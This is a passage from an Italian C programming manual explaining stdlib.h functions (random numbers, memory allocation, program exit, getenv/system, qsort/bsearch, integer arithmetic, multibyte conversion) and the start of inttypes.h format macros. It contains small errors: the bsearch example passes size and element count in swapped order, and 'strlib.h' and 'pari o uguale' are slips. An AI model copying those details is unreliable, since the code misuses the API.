La libreria standard deve disporre, nel file '`stdlib.h`', di due funzioni per la generazione di numeri pseudo-casuali. Si tratta precisamente di ***rand()*** che restituisce un numero intero casuale (di tipo '**`int`**', ma sono ammessi solo valori positivi) e di ***srand()*** che serve a cambiare il «seme» di generazione di tali numeri. Lo standard prescrive anche che per uno stesso seme, la sequenza di numeri pseudo-casuali sia la stessa e che il seme predefinito iniziale sia pari a uno.

Nella descrizione dello standard si fa riferimento al fatto che il valore che può essere generato deve andare da zero a '**`RAND_MAX`**', escludendo quindi valori negativi. Considerando che la funzione ***rand()*** restituisce un valore di tipo '**`int`**' e che questo non può essere negativo, significa che '**`RAND_MAX`**' deve essere inferiore o uguale al massimo numero positivo rappresentabile con il tipo '**`int`**'.

```
int  rand  (void);
void srand (unsigned int seed);
```

Viene proposta una soluzione molto semplice e anche molto scadente sul piano della sequenza casuale generata. Tuttavia garantisce che il valore ottenuto vada effettivamente da zero a '**RAND_MAX**' incluso:

```
#include <stdlib.h>
static unsigned int _srand = 1; // Il rango di «_srand» deve essere
                                // maggiore o uguale a quello di
                                // «RAND_MAX» e di «unsigned int».
int
rand (void)
{
  _srand = _srand * 1234567 + 12345;
  return _srand % ((unsigned int) RAND_MAX + 1);
}

void
srand (unsigned int seed)
{
  _srand = seed;
}
```

L'esempio seguente consente di verificare sommariamente il lavoro delle funzioni per la generazione di numeri casuali. Per la precisione, si vogliono ottenere valori che vanno da 0 a 99 inclusi:

```
#include <stdio.h>
#include <stdlib.h>

int main (void)
{
  int r;
  int i;
  int j;
  const int max = 99;

  srand (123);

  for (i = 0; i < 25; i++)
  {
      for (j = 0; j < 26; j++)
        {
          r = (rand () % (max + 1));
          printf ("%2d ", r);
        }
      printf ("\n");
  }

  return 0;
}
```

Si dovrebbe ottenere un risultato simile a quello seguente:

```
86 67 22 15 22 47 94 91 10 99  6 31 22 51 98 11 14 11 22  3 22 11 82  7 54 11
62 75 10 63 50 75 98 91 90 79 74 87 18 15 34  7 54 71 42 47 10 23 82 67 50 19
14 31 34 27 58 71 38 43 14 87 38 71 82 95 50 99  2  7 30  7 98 87  2 19 46 71
78 83 34 43 58 99 70 79 30 75 58 99 46 31 78 91 34 79 98 75 14 99 66 63 82 99
 2 51 46 11 74 39 90 31 54 63 78 39 14 31 50 55 26 87  2 51 70 15 98 67 54 27
34 55 14  7 74 71 42  7 30 87 70 67 34 15 26 47 90 91 30 19 66 27 86 15 26 15
 6 99 46  7 14 51 22 43 54 95 58  7 18 15 50 83 26 71  2 27 38 71 30  7 94 19
 6 47 62 19 90 39 54 39 42 15 86 91 82 87 38 27 34 87 74 87 50 87 82 67 78 63
22  3 26 87 86 11 94 71 26 35 10 83 78 71 46 63 82 47 74 63 70 11 54 95 62 31
74 87 30 71 54 15 18 19 14 79 86 23 58  7 98 47 10 63 46 39 26 19 10 67 54 99
 6 47 70 11 26  7 66 23 10 51 66 31 58 91 74 87 22 35 74 11  6 39 58 39 26 35
94 55 82 47 78 67 98 91 30 67 18 75 74 83 18 23 54 51 26 91 38 11 22 23 66 91
18 99 74 27 82 99 62 35 58 35 54 95  2 95 86 95 82 47 90 51 90 51 54 23 62 91
90 99 18 19 62 51 10 59 26 39 82 71 94 83 98 27 38  7 22 15 90 79 18 31 58 71
22  3 58 39 98 63 62 55 38 51 86 51  2  7 86 87 94 43 54 67 62 23 42 31 10  3
42 47 74 87 26 27 54 43 54 95 18 31 34 27 58 47 66 47 70 75 22 35 82  7 54  7
62 19 18 91 22 63 94 83 98 27 86 59 78 91 78 35 62 67 90 67 62 35 78 95 86 99
54 47 14  3 62 19 58 63 74 11 62 99 46 71 86  7 34  3 34 59 18  3 62 43 62 27
26 95 46  3 22 15 54 35  6 75 86 27 58 51 70 71 82 15 50 39 38 91 14 99 66 67
66 91 54 31 34  3 30 55 98 27 50  7 38 11 26 11 42 47 26 31 10 91 90 15 54 19
50 87 70 35 14 79 10 47 74 55 34 51 54 95 58 23 46 59 78 91 38  3 94 51 70  3
54 51 86 51 14 95 70 55 50 99 70 63 86 15  6 35 98 67 74 91 54 99 30  7 94 35
10 43 54 55 50 11 58 75 26 27 78 99 98 55 94 79 26 83 34 87 38 47  6 55 74 23
10 11 26 87  6 59 10 71 86 31 78 55 30 39 66 47 46 11 30 47  2 11 74 55 42 59
 2 59 42 63 78 71  2 19  6 83 30 23  2 31 54 47 62 31 26 67  6 67 70 63 14 91
```

80.9.5 Funzioni standard per la generazione di numeri pseudo-casuali

Il documento che descrive lo standard descrive una versione della funzione ***rand()*** che corrisponde al listato successivo. I valori usati nei calcoli sono tali da essere adatti a un contesto in cui i limiti degli interi sono quelli minimi previsti.

Listato 80.89. Esempio di realizzazione delle funzioni ***rand()*** e ***srand()***, tratto dal documento che descrive lo standard del linguaggio.

```
// RAND_MAX assumed to be 32767

static unsigned long int next = 1;

int
rand(void)
{
  next = next * 1103515245 + 12345;
  return (unsigned int)(next/65536) % 32768;
}

void
srand(unsigned int seed)
```

```
{
  next = seed;
}
```

80.9.6 Amministrazione della memoria

Un gruppo di funzioni dichiarate nel file '`strlib.h`' consente di utilizzare dinamicamente la memoria. Si tratta di ***malloc()***, ***calloc()***, ***realloc()*** e ***free()***. Le prime tre funzioni restituiscono un puntatore di tipo '**`void *`**' all'area di memoria allocata, oppure il puntatore nullo nel caso l'operazione di allocazione fallisca; la funzione ***free()*** libera un'area di memoria allocata, indicando come argomento il puntatore che inizialmente la rappresentava.

```
void *malloc  (size_t size);
void *calloc  (size_t nmemb, size_t size);
void *realloc (void *ptr, size_t size);
void free     (void *ptr);
```

Rispetto ai prototipi mostrati, la funzione ***malloc()*** richiede l'allocazione di una quantità di byte espressa dal parametro ***size***; ***calloc()*** richiede una quantità di ***nmemb*** elementi da ***size*** byte (pertanto serve solo a facilitare l'allocazione di uno spazio necessario a un array); ***realloc()*** richiede la riallocazione della memoria già allocata precedentemente a partire dall'indirizzo ***ptr*** per avere ***size*** byte, con l'intento di non perdere le informazioni precedenti (a meno che si tratti una riduzione della dimensione); infine, ***free()*** si limita a deallocare la memoria a cui punta ***ptr***.

Nel linguaggio C, la memoria deve essere allocata e liberata espressamente, in quanto non esiste alcun sistema automatico al riguardo.

La gestione della memoria dipende strettamente dal sistema operativo, pertanto la realizzazione delle funzioni non può essere generalizzata. Per i dettagli che riguardano il comportamento di queste funzioni nel proprio sistema operativo vanno consultate le pagine di manuale *malloc(3)*, *calloc(3)*, *realloc(3)* e *free(3)*.

80.9.7 Conclusione forzata del programma

Alcune funzioni si occupano di interrompere il funzionamento del programma al di fuori della conclusione naturale della funzione ***main()***. In generale si possono distinguono i casi in cui la conclusione del programma viene gestita in modo gentile, oppure viene forzata brutalmente.

Per una conclusione corretta di un programma, è possibile predisporre un elenco di funzioni da eseguire automaticamente nel momento della conclusione. Ciò avviene attraverso la funzione ***atexit()*** che accumula un elenco di puntatori a funzione; successivamente, attraverso la chiamata alla funzione ***exit()*** si ottiene l'esecuzione delle funzioni dell'elenco, senza argomenti, secondo l'ordine di inserimento. Quindi, la funzione ***exit()*** conclude con la chiusura dei file e con la restituzione del valore passatole come argomento.

Una conclusione brutale si ottiene con la funzione ***_Exit()***, che si limita a concludere il programma, ma senza fare nulla altro, soprattutto senza garantire che i file aperti siano chiusi correttamente.

Per ottenere una conclusione brutale del funzionamento di un programma si può usare anche la funzione ***abort()*** che però è legata alla gestione dei segnali (sezione 80.15) e qui non viene spiegato il suo utilizzo.

```
int  atexit (void (*func) (void));
void exit   (int status);
void _Exit  (int status);
void abort  (void);
```

La funzione ***atexit()*** riceve come unico argomento il puntatore a una funzione, la quale non restituisce alcun valore (di tipo '**`void`**') e non si attende alcun argomento (ancora il tipo '**`void`**'). La funzione ***atexit()*** restituisce un valore numerico da intendere come *Vero* o *Falso*, per comunicare il successo o l'insuccesso dell'operazione, dato che la quantità di puntatori a funzione che possono essere accumulati può avere un limite.

Per una descrizione completa dell'uso di queste funzioni si vedano le pagine di manuale *abort(3)*, *atexit(3)*, *exit(3)* e *_Exit(3)*.

80.9.8 Funzioni di comunicazione con l'ambiente

Nel file '`stdlib.h`' sono dichiarate due funzioni per interagire con il sistema operativo, ***getenv()*** e ***system()***, dove la prima consente di interrogare le variabili di ambiente (nel senso inteso nei sistemi Unix ed equivalenti) e la seconda consente di eseguire dei comandi attraverso la shell.

Il documento che descrive lo standard del linguaggio C, il concetto viene generalizzato, ma in pratica, il contesto da cui derivano queste funzioni è quello dei sistemi Unix.

```
char *getenv (const char *name);
int   system (const char *string);
```

La funzione ***getenv()*** si aspetta di ricevere come argomento il nome di una variabile di ambiente (o di qualcosa di comparabile, nel contesto di un altro tipo di sistema operativo), restituendo il puntatore al contenuto di tale variabile. La funzione ***system()*** può essere usata indicando un puntatore nullo e in tal caso restituisce un valore diverso da zero se il sistema operativo è in grado di recepire dei comandi testuali. Se invece viene passata una stringa, la funzione tenta di farla eseguire come comando del sistema operativo: in un sistema Unix o equivalente si tratta di un comando che deve essere eseguito da '`/bin/sh`'. L'esito della funzione ***system()*** dipende da quello del comando impartito e generalmente si ottiene lo stesso valore restituito dal comando eseguito.

Si vedano le pagine di manuale *getenv(3)* e *system(3)*.

80.9.9 Funzioni di ricerca e riordino

Il file '`stdlib.h`' prevede la dichiarazione di due funzioni per il riordino degli array e per la ricerca all'interno di array ordinati. Si tratta precisamente delle funzioni ***qsort()*** e ***bsearch()***, dove i nomi richiamano evidentemente gli algoritmi tradizionali noti come *quick sort* e *binary search*.

Le funzioni della libreria standard generalizzano il problema dell'ordinamento e della ricerca utilizzando puntatori di tipo '**`void *`**' e scandendo la memoria a blocchi di una dimensione

determinata. Ma dal momento che l'area di memoria da scandire non ha la personalità di un array di un qualche tipo, occorre fornire a entrambe queste funzioni il puntatore a una funzione diversa, in grado di confrontare due valori nel contesto di proprio interesse.

```
void qsort (void *base,
            size_t nmemb,
            size_t size,
            int (*compar) (const void *, const void *));

void *bsearch (const void *key,
               const void *base,
               size_t nmemb,
               size_t size,
               int (*compar) (const void *, const void *));
```

Prima di descrivere il significato dei parametri delle due funzioni, conviene vedere un esempio in cui queste si utilizzano. Per la precisione viene scandito un piccolo array di elementi di tipo '**`int`**': prima viene ordinato, poi si cerca un elemento al suo interno.

```
#include <stdio.h>
#include <stdlib.h>

int confronta (const void *a, const void *b)
{
  int x = *((int *) a);
  int y = *((int *) b);
  return x - y;
}

int main (void)
{
  int a[] = {3, 1, 5, 2};
  int cercato = 5;
  void *p;

  qsort (&a[0], 4, sizeof (int), confronta);
  printf ("%i %i %i %i\n", a[0], a[1], a[2], a[3]);

  p = bsearch (&cercato, &a[0], sizeof (int), 4, confronta);

  printf ("&a[0] = %u; \"%i\" si trova in %u.\n",
          (unsigned int) &a[0], cercato, (unsigned int) p);

  return 0;
}
```

Nell'esempio viene dichiarata la funzione ***confronta()*** che riceve due argomenti e restituisce un valore che può essere: minore, pari o maggiore di zero, se il primo argomento, rispetto al secondo, è minore, pari o uguale. Questo è il modo in cui deve comportarsi la funzione

da passare come argomento a ***qsort()*** e a ***bsearch()***, tenendo conto che è da tali funzioni che riceve gli argomenti.

La funzione ***qsort()*** vuole ricevere il puntatore alla prima posizione in memoria da riordinare (il parametro ***base***), la quantità degli elementi da riordinare (***nmemb***, ovvero *Number of memory blocks*), la dimensione di tali elementi (***size***) e la funzione da usare per la loro comparazione.

La funzione ***bsearch()*** vuole ricevere il puntatore alla chiave di ricerca (il parametro ***key***), il puntatore alla prima posizione in memoria da scandire (***base***), la quantità degli elementi da scandire (***nmemb***), la dimensione di tali elementi (***size***) e la funzione da usare per la loro comparazione, tenendo conto che questa riceve la chiave di ordinamento come primo argomento.

L'esempio mostrato esegue un ordinamento crescente e il testo visualizzato che si ottiene deve essere simile a quello seguente:

```
1 2 3 5
&a[0] = 3218927260; "5" si trova in 3218927272.
```

È sufficiente invertire il risultato della funzione di comparazione per ottenere un ordinamento decrescente e per scandire un array ordinato in modo decrescente:

```
int confronta (const void *a, const void *b)
{
  int x = *((int *) a);
  int y = *((int *) b);
  return y - x;
}
```

In tal caso, il testo che viene emesso deve essere simile a quello seguente:

```
5 3 2 1
&a[0] = 3218593340; "5" si trova in 3218593340.
```

80.9.10 Funzioni per l'aritmetica con i numeri interi

Un gruppo di funzioni il cui nome termina per ...***abs()*** si occupa di calcolare il valore assoluto di un numero intero. Le funzioni sono precisamente: ***abs()*** per gli interi di tipo '**`int`**', ***labs()*** per gli interi di tipo '**`long int`**' e ***llabs()*** per gli interi di tipo '**`long long int`**'.

```
int abs             (int j);
long int labs       (long int j);
long long int llabs (long long int j);
```

Evidentemente, la realizzazione di queste funzioni è estremamente banale. Viene presentato solo il caso di ***abs()***:

```
#include <stdlib.h>
int
abs (int j)
{
  if (j < 0)
    {
      return -j;
    }
  else
    {
      return j;
    }
}
```

Un gruppo di funzioni il cui nome termina per *...div()* si occupa di dividere due interi, calcolando il quoziente e il resto. Le funzioni sono precisamente: ***div()*** per gli interi di tipo '**`int`**', ***ldiv()*** per gli interi di tipo '**`long int`**' e ***lldiv()*** per gli interi di tipo '**`long long int`**'. Il risultato viene restituito in una variabile strutturata che contiene sia il quoziente, sia il resto, a cui è stata attribuita un tipo particolare: rispettivamente si hanno i tipi '**`div_t`**', '**`ldiv_t`**' e '**`lldiv_t`**'.

```
div_t   div   (int numer, int denom);
ldiv_t  ldiv  (long int numer, long int denom);
lldiv_t lldiv (long long int numer, long long int denom);
```

I tre tipi creati appositamente per contenere il risultato di queste funzioni contengono i membri '**`quot`**' e '**`rem`**' che rappresentano, rispettivamente, il quoziente e il resto. Anche la realizzazione di queste funzioni è molto semplice banale. Viene presentato solo il caso di ***div()***:

```
#include <stdlib.h>
div_t
div (int numer, int denom)
{
  div_t d;
  d.quot = numer / denom;
  d.rem = numer % denom;
  return d;
}
```

80.9.11 Funzioni per la gestione di caratteri estesi e sequenze multibyte

Il linguaggio C distingue tra una gestione dei caratteri basata sul byte, tale da consentire la gestione di un insieme minimo, come quello della codifica ASCII, e una gestione a byte multipli, o multibyte. Per esempio, la codifica UTF-8 è ciò che si intende per «multibyte», ma esistono anche altre codifiche che sfruttano questo meccanismo.

Quando il contesto richiede l'interpretazione dei byte secondo una codifica multibyte, è necessario stabilire un punto di riferimento per iniziare l'interpretazione e occorre poterne con-

servare lo stato quando la lettura di un carattere viene interrotta e ripresa a metà. Nella documentazione dello standard, nell'ambito delle sequenze multibyte, lo stato viene definito *shift state*.

Per gestire internamente la codifica universale, il C utilizza un tipo specifico, '**`wchar_t`**', corrispondente a un intero di rango sufficiente a rappresentare tutti i caratteri che si intendono gestire. Di conseguenza, le stringhe letterali, precedute dalla lettera '**`L`**' (per esempio '**`L"àèìòùé"`**'), sono array di elementi '**`wchar_t`**'.

Le funzioni che riguardano la gestione di caratteri estesi e sequenze multibyte del file '`stdlib.h`', servono principalmente per convertire sequenze multibyte nel tipo '**`wchar_t`**' e viceversa. Tuttavia, occorre tenere presente che la configurazione locale deve essere tale da prevedere l'uso di caratteri da rappresentare attraverso sequenze multibyte, altrimenti le conversioni diventano prive di utilità.

Listato 80.102. Prototipi delle funzioni relative alla gestione multibyte.

```
int    mblen    (const char *s, size_t n);
int    mbtowc   (wchar_t *restrict pwc, const char *restrict s,
                 size_t n);
int    wctomb   (char *s, wchar_t wc);
size_t mbstowcs (wchar_t *restrict pwcs, const char *restrict s,
                 size_t n);
size_t wcstombs (char *restrict s, const wchar_t *restrict pwcs,
                 size_t n);
```

80.9.12 Funzione «mblen()»

La funzione ***mblen()*** si usa normalmente per contare quanti byte sono presenti nella stringa ***s*** fornita come primo argomento, per comporre il primo carattere (multibyte) della stringa stessa, limitando la scansione a un massimo di ***n*** byte (il secondo argomento richiesto). Se al posto di indicare una stringa si fornisce il puntatore nullo, si ottiene un valore che può essere uno o zero, a seconda che sia prevista o meno una codifica multibyte con una gestione dello stato (*shift state*).

```
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>

int main (void)
{
  int n;
  setlocale (LC_ALL, "en_US.UTF-8");
  n = mblen (NULL, 0);
  printf ("Gestione dello stato: %i\n", n);
  n = mblen ("€", 8);
  printf ("Il carattere %s richiede %i byte.\n", "€", n);
  return 0;
}
```

L'esempio mostrato dovrebbe chiarire alcune cose. La funzione richiede un argomento di tipo stringa di caratteri, perché un argomento di tipo '**char**' singolo, non consentirebbe di annotare una sequenza multibyte. Le sequenze multibyte sono stringhe normali, trattate come tali, salvo quando è necessario interpretare il loro contenuto; a questo proposito, si vede che la funzione ***printf()*** riceve una stringa multibyte e si limita a trattarla come una stringa normale.

Se la codifica in cui è scritto il sorgente è la stessa usata dal programma durante il suo funzionamento, si può ottenere il testo seguente:

```
Gestione dello stato: 0
Il carattere € richiede 3 byte.
```

Nell'uso normale della funzione ***mblen()***, se la stringa che si fornisce contiene una sequenza multibyte errata o incompleta, il valore restituito è −1.

80.9.13 Funzioni «mbtowc()» e «wctomb()»

Le due funzioni ***mbtowc()*** e ***wctomb()*** si compensano a vicenda, fornendo il mezzo elementare di conversione dei caratteri da una sequenza multibyte a un numero intero di tipo '**wchar_t**' e viceversa. Quando a queste funzioni, al posto del puntatore alla stringa multibyte, si fornisce il puntatore nullo, si ottiene un funzionamento analogo a quello di ***mblen()***, con un valore pari a uno se la configurazione locale prevede l'uso di sequenze multibyte con una gestione dello stato, oppure zero se questo problema non sussiste. Inoltre, per entrambe le funzioni, se la sequenza multibyte è errata o incompleta, si ottiene la restituzione del valore −1. Infine, se la conversione ha successo, si ottiene la quantità dei byte che compongono la sequenza multibyte (di origine o di destinazione, a seconda della funzione usata).

Viene mostrato un esempio molto semplice che dimostra l'uso delle due funzioni. In particolare viene convertita la sequenza multibyte che rappresenta la lettera «ä» in un numero '**wchar_t**', quindi il numero viene incrementato e riconvertito in una nuova sequenza multibyte, per ottenere il carattere «å».

```
#include <locale.h>
#include <stdlib.h>
#include <stdio.h>

int main (void)
{
  int n;
  wchar_t wc;
  char mb[20] = {}; // Inizializza l'array a zero.

  setlocale (LC_ALL, "en_US.UTF-8");

  n = mbtowc (&wc, NULL, 8);
  printf ("Gestione dello stato: %i\n", n);
  n = wctomb (NULL, wc);
  printf ("Gestione dello stato: %i\n", n);

  n = mbtowc (&wc, "ä", 8);
  printf ("Il carattere \"ä\" si rappresenta con %i byte ", n);
```

```
  printf ("in una sequenza multibyte e con il numero %i ", (int) wc);
  printf ("in una variabile di tipo \"wchar_t\".\n");

  wc++;
  n = wctomb (mb, wc);
  printf ("Il carattere \"%s\" si rappresenta con %i byte ", mb, n);
  printf ("in una sequenza multibyte e con il numero %i ", (int) wc);
  printf ("in una variabile di tipo \"wchar_t\".\n");

  return 0;
}
```

Si dovrebbe ottenere un testo come quello seguente:

```
Gestione dello stato: 0
Gestione dello stato: 0
Il carattere "ä" si rappresenta con 2 byte in una sequenza ↩
↪multibyte e con il numero 228 in una variabile di tipo "wchar_t".
Il carattere "å" si rappresenta con 2 byte in una sequenza ↩
↪multibyte e con il numero 229 in una variabile di tipo "wchar_t".
```

Per gli approfondimenti eventuali, si vedano le pagine di manuale *mbtowc(3)* e *wctomb(3)*.

80.9.14 Funzioni «mbstowcs()» e «wcstombs()»

Le funzioni ***mbstowcs()*** e '**`wcstombs`**' servono rispettivamente per convertire una stringa multibyte in un stringa estesa (un array di elementi '**`wchar_t`**') e per fare l'opposto. Entrambe le funzioni richiedono tre argomenti: l'array di destinazione, l'array di origine e la quantità di elementi da utilizzare nell'array di destinazione. Entrambe le funzioni restituiscono un numero che esprime la quantità di elementi di destinazione convertiti, escluso ciò che costituisce il carattere nullo di terminazione. Entrambe restituiscono un valore pari a '**`(size_t) (-1)`**' se la conversione produce un errore.[3]

Per convertire correttamente una stringa (multibyte o estesa), occorre che il numero di elementi di destinazione previsto includa anche il carattere nullo di terminazione. L'esempio seguente dovrebbe aiutare a comprendere il problema:

```
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>

int main (void)
{
  size_t n;
  wchar_t wca[] = {1, 2, 3, 4, 5, 6, 7};
  wchar_t wcb[] = {1, 2, 3, 4, 5, 6, 7};
  char mba[] = "*************";
  char mbb[] = "*************";
```

```
  setlocale (LC_ALL, "en_US.UTF-8");

  n = mbstowcs (wca, "äåâ", 3);
  printf ("mbstowcs: %i: %i %i %i %i %i\n", n,
          wca[0], wca[1], wca[2], wca[3], wca[4]);

  n = mbstowcs (wcb, "äåâ", 5);
  printf ("mbstowcs: %i: %i %i %i %i %i\n", n,
          wcb[0], wcb[1], wcb[2], wcb[3], wcb[4]);

  n = wcstombs (mba, L"äåâ", 6);
  printf ("wcstombs: %i: \"%s\"\n", n, mba);

  n = wcstombs (mbb, L"äåâ", 9);
  printf ("wcstombs: %i: \"%s\"\n", n, mbb);

  return 0;
}
```

Nell'esempio, la funzione ***mbstowcs()*** viene usata due volte, per convertire una stringa multibyte, composta da tre caratteri, se non si conta quello di terminazione. Nel primo caso, viene specificato che si vogliono convertire esattamente tre caratteri, ma questo significa che nell'array di destinazione rimane il contenuto originale a partire dal quarto elemento. In modo analogo, la funzione ***wcstombs()*** viene usata due volte per convertire una stringa estesa in una stringa multibyte. La stringa estesa si compone di tre caratteri che nella conversione vanno a occupare esattamente sei byte, con l'aggiunta eventuale del carattere nullo di terminazione (che sarebbe il settimo). Si può vedere che quando si chiede una conversione di sei elementi, la stringa ricevente mantiene il contenuto precedente nella parte restante. Ecco cosa si dovrebbe vedere eseguendo il programma:

```
mbstowcs: 3: 228 229 226 4 5
mbstowcs: 3: 228 229 226 0 5
wcstombs: 6: "äåâ*********"
wcstombs: 6: "äåâ"
```

Se al posto della destinazione (il primo argomento) viene posto il puntatore nullo, si ottiene la simulazione dell'operazione, senza memorizzare alcunché e senza tenere conto della quantità massima di elementi che si annota come ultimo argomento. Ciò ha lo scopo di contare quanti elementi servirebbero per produrre una conversione completa. L'esempio seguente modifica quello già visto, sfruttando questa funzionalità:

```
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>

int main (void)
{
  size_t n;
  size_t max;
```

```
    wchar_t wca[] = {1, 2, 3, 4, 5, 6, 7};
    char mba[] = "**************";      // 15 byte total.

    setlocale (LC_ALL, "en_US.UTF-8");

    max = mbstowcs (NULL, "äåâ", 0);
    if (max <= 6)
      {
        n = mbstowcs (wca, "äåâ", max + 1);
        printf ("mbstowcs: %i: %i %i %i %i %i\n", n,
                wca[0], wca[1], wca[2], wca[3], wca[4]);
      }

    max = wcstombs (NULL, L"äåâ", 0);
    if (max <= 14)
      {
        n = wcstombs (mba, L"äåâ", max + 1);
        printf ("wcstombs: %i: \"%s\"\n", n, mba);
      }

    return 0;
  }
```

Ecco cosa si dovrebbe vedere eseguendo il programma:

```
mbstowcs: 3: 228 229 226 0 5
wcstombs: 6: "äåâ"
```

Per gli approfondimenti eventuali, si vedano le pagine di manuale *mbstowcs(3)* e *wcstombs(3)*.

80.10 File «inttypes.h»

Il file '`inttypes.h`' della libreria standard serve principalmente a completare le funzionalità di '`stdint.h`', per ciò che riguarda la gestione dei valori numerici interi, il cui rango è controllabile. Infatti, il problema principale nell'uso di interi definiti in modo alternativo allo standard del linguaggio C, privo di librerie, sta nell'uso appropriato degli specificatori di conversione nelle funzioni come ***printf()*** e ***scanf()***. È proprio per risolvere questo problema che nel file '`inttypes.h`' vanno definite, soprattutto, delle macro-variabili da usare in sostituzione degli specificatori di conversione basati sui tipi elementari (si veda eventualmente la realizzazione del file '`inttypes.h`', ma senza le funzioni che lo riguardano, nei sorgenti di os16, listato 106.1.7, oppure di os32, listato 120.7).[4]

Gli esempi proposti per descrivere la libreria che fa capo al file '`inttypes.h`' si riferiscono a quanto già definito nella sezione 80.4 a proposito del file '`stdint.h`'.

Inizialmente, il file '`inttypes.h`' deve includere '`stdint.h`', inoltre dichiara il tipo '**`wchar_t`**', già descritto nel file '`stddef.h`':

```
#include <stdint.h>
typedef unsigned int wchar_t;
```

80.10.1 Divisione intera con interi di rango massimo

Nel file ‘`inttypes.h`’ viene definito il tipo ‘**`imaxdiv_t`**’ che va ad affiancarsi ai tipi ‘**`div_t`**’, ‘**`ldiv_t`**’ e ‘**`ldiv_t`**’, definiti nel file ‘`stdlib.h`’. In pratica si tratta di una struttura il cui scopo è quello di contenere il risultato di una divisione, espresso come quoziente e resto, quando il tipo intero usato è quello massimo:

```
typedef struct {
    intmax_t quot;
    intmax_t rem;
} imaxdiv_t;
```

Il tipo strutturato ‘**`imaxdiv_t`**’ serve alle funzioni ***imaxdiv()*** e ***uimaxdiv()***, le quali sono sostanzialmente equivalenti alle altre funzioni ...***div()*** del file ‘`stdlib.h`’:

```
imaxdiv_t imaxdiv (intmax_t numer, intmax_t denom);
```

```
#include <inttypes.h>
imaxdiv_t
imaxdiv   (intmax_t numer, intmax_t denom)
{
  imaxdiv_t d;
  d.quot = numer / denom;
  d.rem = numer % denom;
  return d;
}
```

80.10.2 Macro-variabili in qualità di specificatori di conversione

Come accennato all'inizio del capitolo, per poter usare le funzioni ...***printf()*** e ...***scanf()***, occorrono degli specificatori di conversione, ma non ne esistono per i tipi interi a rango controllato, pertanto, per questi, servono delle macro-variabili coerenti con il tipo relativo.

Le macro che iniziano per ***PRI***... si usano come parte terminale di specificatori di conversione per la composizione dell'output (...***printf()***), mentre le macro che iniziano per ***SCN***... sono adatte per l'interpretazione dell'input (...***scanf()***).

Le macro ‘**`PRI`*xn***’ e ‘**`SCN`*xn***’ terminano gli specificatori di conversione ‘**`%`**...***x***’, per i tipi interi ‘**[`u`] `int`*n*`_t`**’; le macro ‘**`PRI`*x*`LEAST`*n***’ e ‘**`SCN`*x*`LEAST`*n***’ riguardano i tipi ‘**[`u`] `int_least`*n*`_t`**’; le macro ‘**`PRI`*x*`FAST`*n***’ e ‘**`SCN`*x*`FAST`*n***’ riguardano i tipi ‘**[`u`] `int_fast`*n*`_t`**’; le macro ‘**`PRI`*x*`MAX`*n***’ e ‘**`SCN`*x*`MAX`*n***’ riguardano i tipi ‘**[`u`] `intmax_t`**’; le macro ‘**`PRI`*x*`PTR`*n***’ e ‘**`SCN`*x*`PTR`*n***’ riguardano i tipi ‘**[`u`] `intptr_t`**’.

L'esempio seguente dovrebbe dimostrare il significato di queste macro-variabili, attraverso l'uso di ***printf()***:

```
#include <stdio.h>
#include <inttypes.h>
int
main (int argc, char *argv[])
{
  uint64_t num = INT64_C(1234567890);
  printf ("Il valore della variabile \"num\" corrisponde a "
          "%020" PRIu64 ".\n", num);
  return 0;
}
```

Il listato seguente mostra come possono essere dichiarate queste macro-variabili:

```
// Composizione dell'output.

#define PRId8           "d"
#define PRId16          "d"
#define PRId32          "d"
#define PRId64          "lld"

#define PRIdLEAST8      "d"
#define PRIdLEAST16     "d"
#define PRIdLEAST32     "d"
#define PRIdLEAST64     "lld"

#define PRIdFAST8       "d"
#define PRIdFAST16      "d"
#define PRIdFAST32      "d"
#define PRIdFAST64      "lld"

#define PRIdMAX         "lld"
#define PRIdPTR         "d"

#define PRIi8           "i"
#define PRIi16          "i"
#define PRIi32          "i"
#define PRIi64          "lli"

#define PRIiLEAST8      "i"
#define PRIiLEAST16     "i"
#define PRIiLEAST32     "i"
#define PRIiLEAST64     "lli"

#define PRIiFAST8       "i"
#define PRIiFAST16      "i"
#define PRIiFAST32      "i"
#define PRIiFAST64      "lli"

#define PRIiMAX         "lli"
```

```
#define PRIiPTR         "i"

#define PRIo8           "o"
#define PRIo16          "o"
#define PRIo32          "o"
#define PRIo64          "llo"

#define PRIoLEAST8      "o"
#define PRIoLEAST16     "o"
#define PRIoLEAST32     "o"
#define PRIoLEAST64     "llo"

#define PRIoFAST8       "o"
#define PRIoFAST16      "o"
#define PRIoFAST32      "o"
#define PRIoFAST64      "llo"

#define PRIoMAX         "llo"
#define PRIoPTR         "o"

#define PRIu8           "u"
#define PRIu16          "u"
#define PRIu32          "u"
#define PRIu64          "llu"

#define PRIuLEAST8      "u"
#define PRIuLEAST16     "u"
#define PRIuLEAST32     "u"
#define PRIuLEAST64     "llu"

#define PRIuFAST8       "u"
#define PRIuFAST16      "u"
#define PRIuFAST32      "u"
#define PRIuFAST64      "llu"

#define PRIuMAX         "llu"
#define PRIuPTR         "u"

#define PRIx8           "x"
#define PRIx16          "x"
#define PRIx32          "x"
#define PRIx64          "llx"

#define PRIxLEAST8      "x"
#define PRIxLEAST16     "x"
#define PRIxLEAST32     "x"
#define PRIxLEAST64     "llx"
```

```
#define PRIxFAST8       "x"
#define PRIxFAST16      "x"
#define PRIxFAST32      "x"
#define PRIxFAST64      "llx"

#define PRIxMAX         "llx"
#define PRIxPTR         "x"

#define PRIX8           "X"
#define PRIX16          "X"
#define PRIX32          "X"
#define PRIX64          "llX"

#define PRIXLEAST8      "X"
#define PRIXLEAST16     "X"
#define PRIXLEAST32     "X"
#define PRIXLEAST64     "llX"

#define PRIXFAST8       "X"
#define PRIXFAST16      "X"
#define PRIXFAST32      "X"
#define PRIXFAST64      "llX"

#define PRIXMAX         "llX"
#define PRIXPTR         "X"

// Interpretazione dell'input.

#define SCNd8           "hhd"
#define SCNd16          "hd"
#define SCNd32          "d"
#define SCNd64          "lld"

#define SCNdLEAST8      "hhd"
#define SCNdLEAST16     "hd"
#define SCNdLEAST32     "d"
#define SCNdLEAST64     "lld"

#define SCNdFAST8       "hhd"
#define SCNdFAST16      "d"
#define SCNdFAST32      "d"
#define SCNdFAST64      "lld"

#define SCNdMAX         "lld"
#define SCNdPTR         "d"
```

```
#define SCNi8           "hhi"
#define SCNi16          "hi"
#define SCNi32          "i"
#define SCNi64          "lli"

#define SCNiLEAST8      "hhi"
#define SCNiLEAST16     "hi"
#define SCNiLEAST32     "i"
#define SCNiLEAST64     "lli"

#define SCNiFAST8       "hhi"
#define SCNiFAST16      "i"
